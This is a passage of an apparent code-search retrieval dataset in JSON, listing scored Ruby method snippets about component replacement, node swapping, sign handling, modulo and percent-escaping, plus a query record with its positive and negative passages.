"docid": "1681ded42e8947acb35819fde486747a",
"score": "0.5121653",
"text": "def component=(component)\n raise \"Component cannot be null\" unless component\n raise \"Component already associated with a form. Do not pass form in constructor.\" unless component.form.nil?\n $log.debug \" calling configure component \"\n @parent_component.configure_component component\n @component = component\n end",
"title": ""
},
{
"docid": "0a7e8c2d13a8bf6db6df12da52b88609",
"score": "0.5112257",
"text": "def replace_child(to_replace, replacement); end",
"title": ""
},
{
"docid": "fa5226a818814414c0d868fdb2aed183",
"score": "0.5108367",
"text": "def attach_component! c\n super\n # $stderr.puts \"adding component search path #{abs_path.inspect}\"\n _loader.add_component_search_path! abs_path, :priority => :before\n end",
"title": ""
},
{
"docid": "687590c7333a87d373b105f98f6dd245",
"score": "0.50851494",
"text": "def component_class=(component)\n return if @component == component || component.nil?\n\n #Save values of properties\n save_properties(@instance)\n @accessors = []\n\n #Get current instance\n @instance = @instances[component]\n\n properties = component.properties\n\n #Remove old widgets from the table\n reset_table\n\n @table.resize(1+properties.length, 2)\n\n #Add widgets for each property\n i = 1\n properties.each do |p|\n @table.set_row_spacing(i-1, 20)\n i = add_property(p, i)\n end\n\n @component = component\n\n self.title_text = component.label\n\n self.show_all\n end",
"title": ""
},
{
"docid": "9249abf4ac949a018f3393f1486ed410",
"score": "0.5071096",
"text": "def replace_element_by_own_content(element)\n if element.has_children_elements?\n element.get_children_elements.each do |child|\n element.insert_before(child)\n end\n element.remove_node\n elsif element.has_children?\n element.replace_node(element.get_first_node_child)\n end\n end",
"title": ""
},
{
"docid": "1abf5fec22c5a67ca8ac8f1c3be2dabe",
"score": "0.50675267",
"text": "def replace\n result = super\n delete_backup!(@old) if result && delete_backup?\n result\n end",
"title": ""
},
{
"docid": "bc15c5c7701af350f823babe98a95b85",
"score": "0.50340897",
"text": "def override_graphic gr\n @graphic = gr\n end",
"title": ""
},
{
"docid": "7d823f463f3c98d6ab5939bcb56a8de6",
"score": "0.50130135",
"text": "def swap old, new_parent\n plugged.hide\n\n old.remove self\n new_parent.add self\n \n realize\n \n take_window plugged \n plugged.show \n \n @parent = new_parent\n end",
"title": ""
},
{
"docid": "fa6b5cc8ccc4e9240253c8c8a65bd34e",
"score": "0.49999472",
"text": "def add_component(component)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n if component.handle.ptr == nil\n raise \"component is disposed\"\n end\n Native.LayoutEditor_add_component(@handle.ptr, component.handle.ptr)\n component.handle.ptr = nil\n end",
"title": ""
},
{
"docid": "9f61a0c12a603d4cc4f644664a943747",
"score": "0.49967483",
"text": "def disabled_components=(components)\n disabled_components.replace components\n end",
"title": ""
},
{
"docid": "9f61a0c12a603d4cc4f644664a943747",
"score": "0.49967483",
"text": "def disabled_components=(components)\n disabled_components.replace components\n end",
"title": ""
},
{
"docid": "7e8a44c1dd9c2ae93dbb9431c38b48cb",
"score": "0.49945223",
"text": "def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end",
"title": ""
},
{
"docid": "9bed065a56fb1b9b48f577bc660897c6",
"score": "0.49843234",
"text": "def replace(node)\n `#@native.parentNode.replaceChild(#@native, #{Native.try_convert(node)})`\n\n node\n end",
"title": ""
},
{
"docid": "34f6d287245d262dc27219915cbac09b",
"score": "0.4982101",
"text": "def override() # Note that despite the module.override, this still overrides\r\n puts \"CHILD override()\"\r\n end",
"title": ""
},
{
"docid": "31e2bb42cb340ab90886b17e54c06976",
"score": "0.49669522",
"text": "def reload_component(gear, component)\n args = build_base_gear_args(gear)\n args = build_base_component_args(component, args)\n cart = component.cartridge_name\n\n run_cartridge_command(cart, gear, \"reload\", args)\n end",
"title": ""
},
{
"docid": "46c7cf5d7193cd6e193e1c554e543578",
"score": "0.494814",
"text": "def replace_node search_mixed, replace_mixed\n search = CodeBuilder.to_sexp(search_mixed)\n replace = CodeBuilder.to_sexp(replace_mixed)\n found = deep_find_first(search)\n if ! found\n fail \"couldn't find node: #{search.to_ruby}\"\n end\n found.parent.replace_child!(found, replace)\n nil\n end",
"title": ""
},
{
"docid": "7082e3c05ed35198d954f1f0ed67a440",
"score": "0.49225447",
"text": "def chosung= c\n raise ArgumentError.new('Invalid chosung component') if\n c && Gimchi.chosung?(c) == false\n @chosung = c && c.dup.extend(Component).tap { |e| e.kor = Gimchi }\n end",
"title": ""
},
{
"docid": "9a14f2cd17e0f51f4498b0b9b2ae0ea3",
"score": "0.48851037",
"text": "def example_override(id)\n # code goes here\n end",
"title": ""
},
{
"docid": "406655f9fd2e37eddc1e0253bab07e10",
"score": "0.48822773",
"text": "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n end",
"title": ""
},
{
"docid": "406655f9fd2e37eddc1e0253bab07e10",
"score": "0.48822773",
"text": "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n end",
"title": ""
},
{
"docid": "406655f9fd2e37eddc1e0253bab07e10",
"score": "0.48822773",
"text": "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n end",
"title": ""
},
{
"docid": "fb3c30b6fb569efc67f02e8b3df965c4",
"score": "0.48816103",
"text": "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n\t\r\n end",
"title": ""
},
{
"docid": "c9598a84df0b10fb9385a37443e1c259",
"score": "0.4878104",
"text": "def add_component(component)\n add_to(component, @components)\n end",
"title": ""
},
{
"docid": "dc73a1c20499bd81fd2f39b43b9b7208",
"score": "0.4875134",
"text": "def insert_component_before(name, component)\n # iterate over all components, find the component with the given name\n # once found, insert the given component at that location and return\n components.each_with_index do |c, i|\n if c.name == name\n components.insert(i, component)\n return\n end\n end\n\n components << component\n end",
"title": ""
},
{
"docid": "e2f63bd66094bd33c21f97483789d3c7",
"score": "0.48729816",
"text": "def add_override(override)\n # If possible, merge the override in immediately.\n resource = @catalog.resource(override.ref)\n if resource\n resource.merge(override)\n else\n # Otherwise, store the override for later; these\n # get evaluated in Resource#finish.\n @resource_overrides[override.ref] << override\n end\n end",
"title": ""
},
{
"docid": "28aa80680483b9e7654718b9878a9420",
"score": "0.4869675",
"text": "def model_handle(mn = nil)\n super(mn || :component)\n end",
"title": ""
},
{
"docid": "28aa80680483b9e7654718b9878a9420",
"score": "0.4869675",
"text": "def model_handle(mn = nil)\n super(mn || :component)\n end",
"title": ""
},
{
"docid": "e0c4f4d1b7810f2311891ecf9256ac15",
"score": "0.48557147",
"text": "def component_update \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n update_params :default_scaffold_id => \"webrt\", :default_sort => nil, :default_sort_direction => \"desc\"\n return_to_main\n end\n end",
"title": ""
},
{
"docid": "10f71f03196c82822d6ddef255619479",
"score": "0.48534104",
"text": "def component_update\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n return_to_main\n end\n end",
"title": ""
},
{
"docid": "10f71f03196c82822d6ddef255619479",
"score": "0.48534104",
"text": "def component_update\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n return_to_main\n end\n end",
"title": ""
},
{
"docid": "10f71f03196c82822d6ddef255619479",
"score": "0.48534104",
"text": "def component_update\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n return_to_main\n end\n end",
"title": ""
},
{
"docid": "7086a4f8ef7bbe0cecdbd2ca311f93e8",
"score": "0.48493794",
"text": "def replace_mixin(old_mixin, new_mixin)\n # TODO: handle replacing actions\n remove_mixin old_mixin\n add_mixin new_mixin\n end",
"title": ""
},
{
"docid": "fa3e6c4f9b715e11cd9d02fadfda7989",
"score": "0.48363107",
"text": "def replace(from, to)\n puts \"warning: #{self.class}: replace not implement\"\n end",
"title": ""
},
{
"docid": "83ee86398462bec55809b05bd24e288a",
"score": "0.48336142",
"text": "def replace(node_or_tags); end",
"title": ""
},
{
"docid": "83ee86398462bec55809b05bd24e288a",
"score": "0.48336142",
"text": "def replace(node_or_tags); end",
"title": ""
},
{
"docid": "7bf9798e16a5a65379f2140b2dbb1ea7",
"score": "0.479375",
"text": "def replace(item, data = nil)\n `#@native.replaceState(#{data.to_n}, null, item)`\n end",
"title": ""
},
{
"docid": "136bd6520e2deaadd3af4b759d2b817d",
"score": "0.47925967",
"text": "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.DeltaComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end",
"title": ""
},
{
"docid": "e5b7ed6613cb8c9b46366936d6ac2906",
"score": "0.47912955",
"text": "def set_replacement(parent, node, replacement, property)\n if node == @root\n @root = replacement\n else\n parent.send(property+'=',replacement)\n end\n end",
"title": ""
},
{
"docid": "811a77d90c6d39c48f840e61ea0d5f1e",
"score": "0.47794616",
"text": "def replace_content(name, content)\n render :update do |page|\n page.replace_html name, content\n end\n end",
"title": ""
},
{
"docid": "a5fb3f29f82dbb479d5190dbea3c7da1",
"score": "0.477403",
"text": "def before_render(component_name, props, prerender_options); \"\"; end",
"title": ""
},
{
"docid": "675d1c24a2c81fcb00f0ae2de1898ce7",
"score": "0.47722492",
"text": "def replace(name, content = nil, &block)\n content = capture(&block) if block_given?\n add_instruction_to_area name, :replace, [content]\n end",
"title": ""
},
{
"docid": "49aafca51f6075a742bf2530711ec9e7",
"score": "0.47719815",
"text": "def replace_child! child, nu\n idx = index_of_child child\n self[idx] = nu\n # debugger; 'make sure to_ruby works'\n nil\n end",
"title": ""
},
{
"docid": "87665131635149fcfa4305cfb3872516",
"score": "0.47706625",
"text": "def component_update \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n update_params :default_scaffold_id => \"recipe\", :default_sort => nil, :default_sort_direction => \"asc\"\n return_to_main\n end\n end",
"title": ""
},
{
"docid": "83cffed5fa429c1bd78b8e84bb3cc8af",
"score": "0.4769584",
"text": "def replace_asset( existing_asset, new_type, attributes={} )\r\n\t\told_el = existing_asset.el\r\n\t\tnew_el = old_el.replace( \"<#{new_type}/>\" ).first\r\n\t\tattributes['id'] = old_el['id']\r\n\t\tattributes.each{ |att,val| new_el[att.to_s] = val }\r\n\t\tasset_for_el( new_el ).tap do |new_asset|\r\n\t\t\tunsupported_attributes = \".//*[name()='Add' or name()='Set'][@ref='##{old_el['id']}']/@*[name()!='ref' and #{new_asset.properties.keys.map{|p| \"name()!='#{p}'\"}.join(' and ')}]\"\r\n\t\t\t@logic.xpath(unsupported_attributes).remove\r\n\t\t\trebuild_caches_from_document\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "11c10899c81070651a985ae928abd2b9",
"score": "0.47550058",
"text": "def append_component(name)\n @component = \"/#{name}\"\n self\n end",
"title": ""
},
{
"docid": "8f97c771b9fecdd7fae3e35518fd5709",
"score": "0.4745956",
"text": "def replace(node_or_tags)\n raise(\"Cannot replace a node with no parent\") unless parent\n\n # We cannot replace a text node directly, otherwise libxml will return\n # an internal error at parser.c:13031, I don't know exactly why\n # libxml is trying to find a parent node that is an element or document\n # so I can't tell if this is bug in libxml or not. issue #775.\n if text?\n replacee = Nokogiri::XML::Node.new \"dummy\", document\n add_previous_sibling_node replacee\n unlink\n return replacee.replace node_or_tags\n end\n\n node_or_tags = parent.coerce(node_or_tags)\n\n if node_or_tags.is_a?(XML::NodeSet)\n node_or_tags.each { |n| add_previous_sibling n }\n unlink\n else\n replace_node node_or_tags\n end\n node_or_tags\n end",
"title": ""
},
{
"docid": "f174f75ae5fdbcf6caf088951e39217a",
"score": "0.47376418",
"text": "def merge_comps( original, override )\n override.each do |k,v|\n if original.has_key? k\n original[k] = v\n else\n original << [k,v]\n end\n end\n end",
"title": ""
},
{
"docid": "6ef6d605d837f5c32eee52b9206385f9",
"score": "0.47359368",
"text": "def remove_component(component)\n\t\t@components.delete(component)\n\tend",
"title": ""
},
{
"docid": "cc0dc5cb55ca4a2a0282793a645fa6f9",
"score": "0.47352058",
"text": "def test_merge_new_components_fails\n new_components = [{:reducer=>Struct::Reducer3}]\n expected = {:reducers=>[{:reducer=>Struct::Reducer1}, {:reducer=>Struct::Reducer2}], :loaders=>[{:loader=>Struct::Loader}]}\n assert_equal expected, profile.replace_components(reducers: new_components)\n end",
"title": ""
},
{
"docid": "4749928a41335f66bf0843e25b1b2053",
"score": "0.4732447",
"text": "def attach_form c\n c.form = @form\n c.override_graphic @graphic\n c.parent_component = self\n end",
"title": ""
},
{
"docid": "ef9a9946d98c177fc89697983f64c960",
"score": "0.47249478",
"text": "def safety_clones\n if thematic = @components[:thematic]\n @components[:thematic] = thematic.clone\n end\n end",
"title": ""
},
{
"docid": "6cce66f307781dc1b0512aaa84e3784d",
"score": "0.47125617",
"text": "def replace(options={})\n content = render(options)\n Apotomo.js_generator.replace(options[:selector] || self.name, content)\n end",
"title": ""
},
{
"docid": "ad1a4170b54d48eb0f762604b8eb4973",
"score": "0.47040182",
"text": "def replace(enum)\n if enum.instance_of?(self.class)\n @val = enum.instance_variable_get(:@val)\n else\n clear\n merge(enum)\n end\n\n self\n end",
"title": ""
},
{
"docid": "2b11943280cceb79e5b5683905dab26d",
"score": "0.47021526",
"text": "def js_replace_element(element, content)\n rjs_method :replace_element, :element => element, :content => content\n end",
"title": ""
},
{
"docid": "9980a2b87be047e3e1e3dda0feca1080",
"score": "0.4699974",
"text": "def replace_with(replacement)\n replacement = Factory.build(klass, replacement) if replacement.is_a?(::Hash)\n self._target = replacement\n characterize_one(_target)\n bind_one\n update_attributes_hash(_target)\n _target.save if persistable?\n end",
"title": ""
},
{
"docid": "f149c2006c6d0abd242d643d12325dfe",
"score": "0.46949324",
"text": "def const_replace(name, object)\n original = Object.const_defined?(name) && Object.const_get(name)\n \n Object.send(:remove_const, name) if (original)\n Object.const_set(name, object)\n\n yield\n\n ensure\n Object.send(:remove_const, name)\n Object.const_set(name, original)\n end",
"title": ""
},
{
"docid": "87400a731d1bae7d9ea61afdac444ae7",
"score": "0.46838784",
"text": "def edit\n respond_with(component)\n end",
"title": ""
},
{
"docid": "6453319fa2bca883378a221635274448",
"score": "0.46762407",
"text": "def goto_component comp\n return if comp == @current_component\n leave_current_component\n @current_component = comp\n set_form_row\n end",
"title": ""
},
{
"docid": "ba3fc5d64ef9d83166d1899ca57ba3c8",
"score": "0.46762103",
"text": "def render_component_in_layout(component)\n render inline: \"<%= render component %>\",\n locals: {component: component},\n layout: true\n end",
"title": ""
},
{
"docid": "1f74d44a8da1ee35db4b03fae7dfb5ff",
"score": "0.4675191",
"text": "def copy(entity)\n entity.components.each do |component|\n add(component.as_inheritance)\n end\n end",
"title": ""
},
{
"docid": "1d99b6c985a26a66bf3dc3a5c3a01347",
"score": "0.467144",
"text": "def overrides=(_arg0); end",
"title": ""
},
{
"docid": "3c87150b2ece19493d047999dd259ff4",
"score": "0.46647802",
"text": "def superclass=(object); end",
"title": ""
},
{
"docid": "c33bb8b2cc4c5cd008f5a5e1d78b235e",
"score": "0.46530548",
"text": "def replace\n end",
"title": ""
},
{
"docid": "b0d3c70d80badf21991f3ee5dbf8bf80",
"score": "0.46436676",
"text": "def swap(node_or_tags)\n replace node_or_tags\n self\n end",
"title": ""
},
{
"docid": "172bd2432a5b585c3a1d57951dc4bb76",
"score": "0.46430036",
"text": "def special\n override\n end",
"title": ""
},
{
"docid": "1e44a818647de2cb32c2f60f34346999",
"score": "0.4637972",
"text": "def replace_module(mod1, mod2) end",
"title": ""
},
{
"docid": "953fb7703a141a2d1ae09044be58bc74",
"score": "0.46294403",
"text": "def override_value(param, value)\n self.instance_variable_set(\"@#{param}\", value)\n end",
"title": ""
},
{
"docid": "d2fba0a7755e63df4bd6d0f03f647305",
"score": "0.46192566",
"text": "def insert_component_after(name, component)\n # iterate over all components, find the component with the given name\n # once found, insert the given component at the following location and return\n components.each_with_index do |c, i|\n if c.name == name\n components.insert(i + 1, component)\n return\n end\n end\n\n components << component\n end",
"title": ""
},
{
"docid": "27eb6c0e3e63e085f632ec813a8bf143",
"score": "0.46144256",
"text": "def component_template(component)\n component.id_handle(id: component[:ancestor_id]).create_object\n end",
"title": ""
},
{
"docid": "6541a4f5eff1c5ec9d0b1e528712f1eb",
"score": "0.46085906",
"text": "def replace_parent( parent_hash, new_parent_hash )\n \n unregister_parent( parent_hash )\n \n register_parent( new_parent_hash )\n \n return self\n \n end",
"title": ""
},
{
"docid": "e0f943d5a72b4198412e8605defdcc49",
"score": "0.46069047",
"text": "def add_available_component(component)\n if available_components.include?(component.name)\n raise ArgumentError, \"Component already '#{component.name}' already defined\"\n end\n available_components[component.name] = component\n end",
"title": ""
},
{
"docid": "7df0eafdd5335d331de948225b90a8d0",
"score": "0.46062922",
"text": "def add_component( component, **init_values )\n\t\tself.world.add_component_to( self, component, **init_values )\n\tend",
"title": ""
},
{
"docid": "df9b205eb6987a4719ea959604772088",
"score": "0.4601189",
"text": "def update\n\t\t@components.each do |comp|\n\t\t\tcomp.update\n\t\tend\n\tend",
"title": ""
},
{
"docid": "064300944ffbef1c897bb110fab055e9",
"score": "0.45979148",
"text": "def call(component)\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "9562e022598babb52c5aba10f2fd52a9",
"score": "0.45958826",
"text": "def inherit(node)\n vcard.remove\n super\n self\n end",
"title": ""
},
{
"docid": "f2f7541d86b23ab180c5a42c8ef66be8",
"score": "0.45952332",
"text": "def inherit(node)\n welo_node.remove\n super\n end",
"title": ""
},
{
"docid": "b169f30bdabe09f8edb8d135ed06e24e",
"score": "0.45918623",
"text": "def component_css_class\n ''\n end",
"title": ""
},
{
"docid": "b8ed5c4edc95243418e96824fed04275",
"score": "0.45899743",
"text": "def component_instance(name_or_config, overrides = {})\n cfg = name_or_config.is_a?(Hash) ? name_or_config : component_config(name_or_config, overrides)\n return nil if cfg.nil? || cfg[:excluded]\n\n klass = cfg.klass || cfg.class_name.constantize\n klass.new(cfg, self)\n end",
"title": ""
}
] |
6b5686eaa66e92128397b3de7aa4b6fc
|
% sign : (!FIXME) > !FIXME
|
[
{
"docid": "dc37e203356ecddd141d30588e9fe411",
"score": "0.61547905",
"text": "def sign(p0, p1) end",
"title": ""
}
] |
[
{
"docid": "a95a17eaa49f561f77cae8ecba47a238",
"score": "0.7060887",
"text": "def sign; end",
"title": ""
},
{
"docid": "a95a17eaa49f561f77cae8ecba47a238",
"score": "0.7060887",
"text": "def sign; end",
"title": ""
},
{
"docid": "2de971d9eed89401efd74f6eaa3773c1",
"score": "0.6848728",
"text": "def sign=(_arg0); end",
"title": ""
},
{
"docid": "2de971d9eed89401efd74f6eaa3773c1",
"score": "0.6848728",
"text": "def sign=(_arg0); end",
"title": ""
},
{
"docid": "d8dde5c0972ec1f33c538dbd99508f08",
"score": "0.6599331",
"text": "def display(sign)\n puts sign\nend",
"title": ""
},
{
"docid": "78ee32f16f65e5ac82a4a4bdf6b6951f",
"score": "0.6593183",
"text": "def sign(*rest) end",
"title": ""
},
{
"docid": "78ee32f16f65e5ac82a4a4bdf6b6951f",
"score": "0.6593183",
"text": "def sign(*rest) end",
"title": ""
},
{
"docid": "eca66c678a45b8245075c84dd8908dca",
"score": "0.65636706",
"text": "def %\n end",
"title": ""
},
{
"docid": "9720cc5e4fe7ec98d4ec1c1af5d54743",
"score": "0.619877",
"text": "def %(arg0)\n end",
"title": ""
},
{
"docid": "9720cc5e4fe7ec98d4ec1c1af5d54743",
"score": "0.619877",
"text": "def %(arg0)\n end",
"title": ""
},
{
"docid": "5669a4df048c6f505d43ade8037662fc",
"score": "0.61913437",
"text": "def signatory=(_arg0); end",
"title": ""
},
{
"docid": "5669a4df048c6f505d43ade8037662fc",
"score": "0.61913437",
"text": "def signatory=(_arg0); end",
"title": ""
},
{
"docid": "c9bf28a31a9b2f875c57996ac5b5a169",
"score": "0.6170687",
"text": "def %(other)\n Byte.ensure_byte! other\n @to_word % other\n end",
"title": ""
},
{
"docid": "1e6fa339d55e29824c18a216e5f9cfb3",
"score": "0.6056913",
"text": "def perc_esc\n self.index('%') ? self.gsub('%','%%') : self\n end",
"title": ""
},
{
"docid": "1e6fa339d55e29824c18a216e5f9cfb3",
"score": "0.6056913",
"text": "def perc_esc\n self.index('%') ? self.gsub('%','%%') : self\n end",
"title": ""
},
{
"docid": "1e6fa339d55e29824c18a216e5f9cfb3",
"score": "0.6056913",
"text": "def perc_esc\n self.index('%') ? self.gsub('%','%%') : self\n end",
"title": ""
},
{
"docid": "54cfb8e8157d2cffd056b84f71b4a72f",
"score": "0.60545486",
"text": "def signatory; end",
"title": ""
},
{
"docid": "54cfb8e8157d2cffd056b84f71b4a72f",
"score": "0.60545486",
"text": "def signatory; end",
"title": ""
},
{
"docid": "1475117add2532db0361ee6633602235",
"score": "0.6051541",
"text": "def sign(x)\n '++-'[x <=> 0]\n end",
"title": ""
},
{
"docid": "1475117add2532db0361ee6633602235",
"score": "0.6051541",
"text": "def sign(x)\n '++-'[x <=> 0]\n end",
"title": ""
},
{
"docid": "ef551e382ddbefcacbfae8047bcc7573",
"score": "0.6025641",
"text": "def test_String_InstanceMethods_PercentSign\n\t\tassert_equal(\"00123\", \"%05d\" % 123)\n\tend",
"title": ""
},
{
"docid": "4771c2896cc92896c9db6eef45a8a6ab",
"score": "0.5942967",
"text": "def new_sign(key,sign)\n\t(key >= 0 ? 1 : -1)*sign\nend",
"title": ""
},
{
"docid": "72a250e1a459912c4785da824d399c15",
"score": "0.59398633",
"text": "def % other\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "72a250e1a459912c4785da824d399c15",
"score": "0.59398633",
"text": "def % other\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "72a250e1a459912c4785da824d399c15",
"score": "0.59398633",
"text": "def % other\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "49a10b237d1123ba1441c2171f4bedfe",
"score": "0.590595",
"text": "def escape\n return self.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n }.tr(' ', \"+\")\n end",
"title": ""
},
{
"docid": "8040099258b458acf2e084d5cc1968ee",
"score": "0.5870984",
"text": "def call_sign\n numerify(parse('star_wars.call_sign'))\n end",
"title": ""
},
{
"docid": "7c127c6032dda7d902aa1037ae7323bf",
"score": "0.5865876",
"text": "def unescape(s); s.tr('+', ' ').gsub(/%([\\da-f]{2})/in){[$1].pack('H*')} end",
"title": ""
},
{
"docid": "44177e0834b196be9fecfd1f650b05c9",
"score": "0.5851001",
"text": "def Testll\n \"RTYRTYrt\"\n \"###d\"\n \"%%%\"\n end",
"title": ""
},
{
"docid": "436f6f6c9a9c6c6180660991af050253",
"score": "0.5832426",
"text": "def sign\n raise NotImplementedError # TODO\n end",
"title": ""
},
{
"docid": "bc0988afc252736e2a6342a823b12f55",
"score": "0.5824824",
"text": "def PER08=(arg)",
"title": ""
},
{
"docid": "be6b78e90962aa41d027150714a7c7a1",
"score": "0.5818002",
"text": "def sign?() @sign end",
"title": ""
},
{
"docid": "e0f8a6283861b379d8aa724b6742001a",
"score": "0.5797732",
"text": "def signed; end",
"title": ""
},
{
"docid": "e0f8a6283861b379d8aa724b6742001a",
"score": "0.5797732",
"text": "def signed; end",
"title": ""
},
{
"docid": "e0f8a6283861b379d8aa724b6742001a",
"score": "0.5797732",
"text": "def signed; end",
"title": ""
},
{
"docid": "1c747038e9be2771d204b18d05618e3a",
"score": "0.57955825",
"text": "def escape(string)\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\t\n\tend",
"title": ""
},
{
"docid": "0ceb64245e237d08c101d644725be936",
"score": "0.57804984",
"text": "def %(arg) \n if taint_relevant?(*arg)\n continue = true\n count = 0\n last_index = 0\n new_string = \"\"\n while continue && last_index < length\n if index(\"%\",last_index) == nil\n new_string += rebuild_across_range(self,taint,last_index..length-1)\n continue = false\n else\n next_index = index(\"%\",last_index)\n len = 0\n self[last_index..length-1].old_sub(/%.*?[a-zA-z]/) {|m| len = m.length}\n if next_index != 0\n new_string += rebuild_across_range(self,taint,last_index..next_index-1) \n end\n if arg.class == Array\n new_string += rebuild_across_range(self,taint,next_index..next_index+len-1).format(arg[count])\n count += 1\n else\n new_string += rebuild_across_range(self,taint,next_index..next_index+len-1).format(arg)\n end \n last_index = next_index + len\n end\n end\n new_string\n else\n format(arg)\n end\n end",
"title": ""
},
{
"docid": "15bbfc60041228158a38e89301d61747",
"score": "0.57800716",
"text": "def p(percent)\n sprintf(\"%0.0f%\", percent)\n end",
"title": ""
},
{
"docid": "5478616e02b2667e259f53fd6a8b02bd",
"score": "0.577101",
"text": "def mascot_sign_for(input)\nend",
"title": ""
},
{
"docid": "2ba6756e04822a772451f8c179b92bc3",
"score": "0.5751433",
"text": "def sign_to_s\n case self.sign\n when :gt\n \">\"\n when :ge\n \">=\"\n when :lt\n \"<\"\n when :le\n \"<=\"\n when :eq\n \"==\"\n when :ne\n \"!=\"\n end\n end",
"title": ""
},
{
"docid": "5113ca2c9b9e29ba6f69d5603e15d5b2",
"score": "0.5736396",
"text": "def tr_s(arg0, arg1)\n end",
"title": ""
},
{
"docid": "d8bcb6181e2f11be4a6aaa4714ad7498",
"score": "0.5736166",
"text": "def sign(x)\n # We use CRT to have faster computation of signature.\n # x^d (mod n)\n # = ((x^d (mod pp)) * qq * (qq^(-1) (mod pp)) + (x^d (mod qq)) * pp * (pp^(-1) (mod qq))) (mod n)\n mp = pow(x, d, pp)\n mq = pow(x, d, qq)\n rp = inv(pp, qq)\n rq = inv(qq, pp)\n (mp * qq * rq + mq * pp * rp) % n\n end",
"title": ""
},
{
"docid": "b48fae34f99a7e84d841e0f850d39ad1",
"score": "0.57313174",
"text": "def %(fraccion)\n re = @num * fraccion.den % @den * fraccion.num\n end",
"title": ""
},
{
"docid": "1425e504f489e71affc2213eaea49dba",
"score": "0.57191294",
"text": "def escape(string)\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\n end",
"title": ""
},
{
"docid": "eab54ef65749a78532a042007ea96a06",
"score": "0.5708829",
"text": "def %(fraccion)\n ((@num * fraccion.den) % (@den * fraccion.num))\n end",
"title": ""
},
{
"docid": "846402f1ee207169ad81fb3725b84510",
"score": "0.5701696",
"text": "def percent!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 17)\n\n type = PERCENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 359:10: '\\\\%'\n match(?\\%)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 17)\n\n end",
"title": ""
},
{
"docid": "edbd972c9f0d2ba65801d24aafa000b4",
"score": "0.5696348",
"text": "def unescape(s); s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){[$1.delete('%')].pack('H*')} end",
"title": ""
},
{
"docid": "6ebc40fb59b9c46b6aeabe82a10d6208",
"score": "0.5695394",
"text": "def escape(s)\n s.gsub(/([^a-zA-Z0-9_.-]+)/) do\n '%' + $1.unpack('H2' * $1.bytesize).join('%').upcase\n end\n end",
"title": ""
},
{
"docid": "cf753c0ae789e52d55c6fd557547850c",
"score": "0.5684669",
"text": "def escape(s)\n return nil unless s\n s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%' + $1.unpack('H2'*bytesize($1)).join('%').upcase\n }.tr(' ', '+')\n end",
"title": ""
},
{
"docid": "6356edbc3d1ded348fa5b13f1ea59283",
"score": "0.5681799",
